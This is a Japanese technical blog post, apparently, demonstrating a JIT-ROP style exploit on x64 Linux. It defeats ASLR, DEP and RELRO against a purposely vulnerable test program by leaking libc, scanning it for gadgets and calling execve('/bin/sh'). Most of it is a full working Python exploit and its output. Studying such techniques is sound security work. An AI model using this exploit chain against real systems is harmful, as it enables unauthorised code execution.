x64でDynamic ROPによるASLR+DEP+RELRO回避をやってみる
「x64でROP stager + Return-to-dl-resolve + DT_DEBUG readによるASLR+DEP+RELRO回避をやってみる」では、x64環境において次のようなステップを踏むことでスタックバッファオーバーフローからのシェル起動を行った。
- DT_DEBUG readによりlink_map構造体および_dl_runtime_resolve関数のアドレスを取得
- link_map構造体の書き換えにより、シンボルのバージョン情報取得箇所をスキップ
- Return-to-dl-resolveによりsystem関数を呼び出し
しかし、この方法は1のステップで少なくとも4回のメモリ読み書きを行う必要があり、やや煩雑である。 そこで、ここでは別の方法として、読み出したlibcバイナリからROPシーケンスを動的に構築しシステムコール実行を行うことで、x64環境かつASLR+DEP+RELROが有効な条件下でのシェル起動をやってみる。 また、ここではこの方法を便宜上Dynamic ROPと呼ぶことにする。
環境
Ubuntu 12.04 LTS 64bit版
$ uname -a Linux vm-ubuntu64 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
脆弱性のあるプログラムを用意する
まず、スタックバッファオーバーフローを起こせるプログラムを書いてみる。
/* bof.c */ #include <unistd.h> int main() { char buf[100]; int size; read(0, &size, 8); read(0, buf, size); write(1, buf, size); return 0; }
このコードは最初に8バイトのデータ長を読み込み、続くデータをそのデータ長だけ読み込んだ後出力する。
ASLR、DEP、RELRO有効、SSP無効でコンパイルし実行してみる。
$ sudo sysctl -w kernel.randomize_va_space=2 kernel.randomize_va_space = 2 $ gcc -fno-stack-protector -Wl,-z,relro,-z,now bof.c $ echo -en "\x04\x00\x00\x00\x00\x00\x00\x00AAAA" | ./a.out AAAA
エクスプロイトコードを書いてみる
最初に、実行ファイルからセクション情報およびディスアセンブル結果を出力しておく。
$ readelf -S a.out > dump.txt $ objdump -d a.out >> dump.txt
上で出力した情報をもとに、libcバイナリを読み出しシステムコール実行を行うエクスプロイトコードを書くと次のようになる。
# exploit.py import sys import struct from subprocess import Popen, PIPE bufsize = int(sys.argv[1]) addr_bss = 0x0000000000601010 # readelf -S a.out addr_got_read = 0x600fe8 # objdump -d -j.plt a.out addr_got_write = 0x600fe0 # objdump -d -j.plt a.out addr_got_start = 0x600ff0 # objdump -d -j.plt a.out addr_set_regs = 0x400606 # pop junk/rbx/rbp/r12/r13/r14/r15; ret addr_call_r12 = 0x4005f0 # mov rdx, r15; mov rsi, r14; mov edi, r13d; call [r12+rbx*8]; # -> add rbx, 1; cmp rbx, rbp; jne addr_call_r12; jmp addr_set_regs addr_leave_ret = 0x400595 # leave; ret stacksize = 0x400 base_stage = addr_bss + stacksize p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE) # stage 1: # read address of __libc_start_main() buf1 = 'A' * bufsize buf1 += 'A' * (8-len(buf1)%8) buf1 += 'AAAAAAAA' * 2 buf1 += struct.pack('<Q', addr_set_regs) buf1 += 'AAAAAAAA' buf1 += struct.pack('<Q', 0) # rbx == 0 buf1 += struct.pack('<Q', 1) # rbp == rbx+1 buf1 += struct.pack('<Q', addr_got_write) # r12 -> call [r12] buf1 += struct.pack('<Q', 1) # r13 -> edi buf1 += struct.pack('<Q', addr_got_start) # r14 -> rsi buf1 += struct.pack('<Q', 8) # r15 -> rdx buf1 += struct.pack('<Q', addr_call_r12) buf1 += 'AAAAAAAA' buf1 += struct.pack('<Q', 0) # rbx == 0 buf1 += struct.pack('<Q', 1) # rbp == rbx+1 buf1 += struct.pack('<Q', addr_got_read) # r12 -> call [r12] buf1 += struct.pack('<Q', 0) # r13 -> edi buf1 += struct.pack('<Q', base_stage) # r14 -> rsi buf1 += struct.pack('<Q', 400) # r15 -> rdx buf1 += struct.pack('<Q', addr_call_r12) buf1 += 'AAAAAAAA' buf1 += 'AAAAAAAA' # rbx buf1 += struct.pack('<Q', base_stage) # rbp buf1 += 'AAAAAAAA' # r12 buf1 += 'AAAAAAAA' # r13 buf1 += 'AAAAAAAA' # r14 buf1 += 'AAAAAAAA' # r15 buf1 += struct.pack('<Q', addr_leave_ret) p.stdin.write(struct.pack('<Q', len(buf1))) p.stdin.write(buf1) print "[+] read: %r" % p.stdout.read(len(buf1)) addr_libc_start = struct.unpack('<Q', p.stdout.read(8))[0] print "[+] addr_libc_start = %x" % addr_libc_start # stage 2: # read libc binary libc_readsize = 0x160000 buf2 = 'AAAAAAAA' buf2 += struct.pack('<Q', addr_set_regs) buf2 += 'AAAAAAAA' buf2 += struct.pack('<Q', 0) # rbx == 0 buf2 += struct.pack('<Q', 1) # rbp == rbx+1 buf2 += struct.pack('<Q', addr_got_write) # r12 -> call [r12] buf2 += struct.pack('<Q', 1) # r13 -> edi buf2 += struct.pack('<Q', addr_libc_start) # r14 -> rsi buf2 += struct.pack('<Q', libc_readsize) # r15 -> rdx buf2 += struct.pack('<Q', addr_call_r12) buf2 += 'AAAAAAAA' buf2 += struct.pack('<Q', 0) # rbx == 0 buf2 += struct.pack('<Q', 1) # rbp == rbx+1 buf2 += struct.pack('<Q', addr_got_read) # r12 -> call [r12] buf2 += struct.pack('<Q', 0) # r13 -> edi buf2 += struct.pack('<Q', base_stage-200) # r14 -> rsi buf2 += struct.pack('<Q', 200) # r15 -> rdx buf2 += struct.pack('<Q', addr_call_r12) buf2 += 'AAAAAAAA' buf2 += 'AAAAAAAA' # rbx buf2 += struct.pack('<Q', base_stage-200) # rbp buf2 += 'AAAAAAAA' # r12 buf2 += 'AAAAAAAA' # r13 buf2 += 'AAAAAAAA' # r14 buf2 += 'AAAAAAAA' # r15 buf2 += struct.pack('<Q', addr_leave_ret) buf2 += 'A' * (400-len(buf2)) p.stdin.write(buf2) libc_bin = p.stdout.read(libc_readsize) print "[+] len(libc_bin) = %x" % len(libc_bin) # stage 3: # execve("/bin/sh", {"/bin/sh", NULL}, NULL) base_stage -= 200 addr_pop_rax = addr_libc_start + libc_bin.index('\x58\xc3') # pop rax; ret addr_pop_rdi = addr_libc_start + libc_bin.index('\x5f\xc3') # pop rdi; ret addr_pop_rsi = addr_libc_start + libc_bin.index('\x5e\xc3') # pop rsi; ret addr_pop_rdx = addr_libc_start + libc_bin.index('\x5a\xc3') # pop rdx; ret addr_syscall = addr_libc_start + libc_bin.index('\x0f\x05') # syscall nr_execve = 59 # grep execve /usr/include/x86_64-linux-gnu/asm/unistd_64.h offset_argv = 80 offset_filename = 96 buf3 = 'AAAAAAAA' buf3 += struct.pack('<Q', addr_pop_rax) buf3 += struct.pack('<Q', nr_execve) buf3 += struct.pack('<Q', addr_pop_rdi) buf3 += struct.pack('<Q', base_stage + offset_filename) buf3 += struct.pack('<Q', addr_pop_rsi) buf3 += struct.pack('<Q', base_stage + offset_argv) buf3 += struct.pack('<Q', addr_pop_rdx) buf3 += struct.pack('<Q', 0) buf3 += struct.pack('<Q', addr_syscall) print "[+] offset to argv: %d" % len(buf3) buf3 += struct.pack('<Q', base_stage + offset_filename) buf3 += struct.pack('<Q', 0) print "[+] offset to filename: %d" % len(buf3) buf3 += "/bin/sh\x00" buf3 += 'A' * (200-len(buf3)) p.stdin.write(buf3) p.stdin.write("exec /bin/sh <&2 >&2\n") p.wait()
このコードは、オーバーフローさせるバッファのサイズを引数に取る。 コードの内容を簡単にまとめると次のようになる。
- __libc_csu_init gadgetsを使ってwrite関数を呼び出し、GOTから__libc_start_main関数のアドレスを書き出す
- 続けてread関数を呼び出し、書き込み可領域に次のROPシーケンスを読み込んだ後、stack pivotを行う
- 再度write関数を呼び出し、__libc_start_main関数を起点として0x160000バイトを書き出す
- 続けてread関数を呼び出し、別の書き込み可領域に次のROPシーケンスを読み込んだ後、stack pivotを行う
- 書き出したlibcバイナリから必要なgadgetを探し、これを使ってシステムコール実行を行う
ここで__libc_start_main関数のアドレスはわかっているため、これを読み出したバイナリにおけるgadgetのオフセットに足すことでgadgetのアドレスを計算することができる。 また、上のコードでは書き出すバイト数が実際に書き出せるバイト数より大きい場合プロセスがブロック状態になってしまうが、これはファイルディスクリプタをfcntl(2)でnonblockingモードにしselect(2)などで非同期読み込みを行うことで回避が可能である。
また、__libc_start_main関数はlibc中の早い位置に存在するため、これを起点に読み出すことでlibcから利用可能なgadgetの多くを得ることができる。 このことは次のようにして確認できる。
$ nm -D -n /lib/x86_64-linux-gnu/libc-2.15.so | head -n 40 U __libc_enable_secure U __tls_get_addr U _dl_argv w _dl_starting_up U _rtld_global U _rtld_global_ro 0000000000000000 A GLIBC_2.10 0000000000000000 A GLIBC_2.11 (snip) 0000000000000000 A GLIBC_2.8 0000000000000000 A GLIBC_2.9 0000000000000000 A GLIBC_PRIVATE 0000000000000008 D __resp 0000000000000010 B errno 000000000000005c B h_errno 00000000000214f0 T __libc_init_first 00000000000216a0 T __libc_start_main 0000000000021880 W gnu_get_libc_release 0000000000021890 W gnu_get_libc_version 0000000000021c30 T __get_cpu_features 0000000000021c50 T __errno_location 0000000000021d20 T iconv_open 0000000000021f30 T iconv 00000000000220e0 T iconv_close 0000000000022c00 T __gconv_get_modules_db 0000000000022c10 T __gconv_get_alias_db 000000000002b720 T __gconv_get_cache
引数をセットし実行すると、次のようになる。
$ python exploit.py 100 [+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x06\x06@\x00\x00\x00\x00\x00AAAAAAAA\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xe0\x0f`\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xf0\x0f`\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\xf0\x05@\x00\x00\x00\x00\x00AAAAAAAA\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xe8\x0f`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x14`\x00\x00\x00\x00\x00\x90\x01\x00\x00\x00\x00\x00\x00\xf0\x05@\x00\x00\x00\x00\x00AAAAAAAAAAAAAAAA\x10\x14`\x00\x00\x00\x00\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x95\x05@\x00\x00\x00\x00\x00' [+] addr_libc_start = 7f15e794b6a0 [+] len(libc_bin) = 160000 [+] offset to argv: 80 [+] offset to filename: 96 $ id uid=1000(user) gid=1000(user) groups=1000(user) $
ASLR+DEP+RELROが有効な条件下で、読み出したlibcバイナリ内のgadgetを使いシェルが起動できていることが確認できた。
なお、上のコードをroputilsを使って書いた場合は次のようになる。
追記(2015-02-12)
この手法は一般にはJust-In-Time ROP(JIT-ROP)として知られている。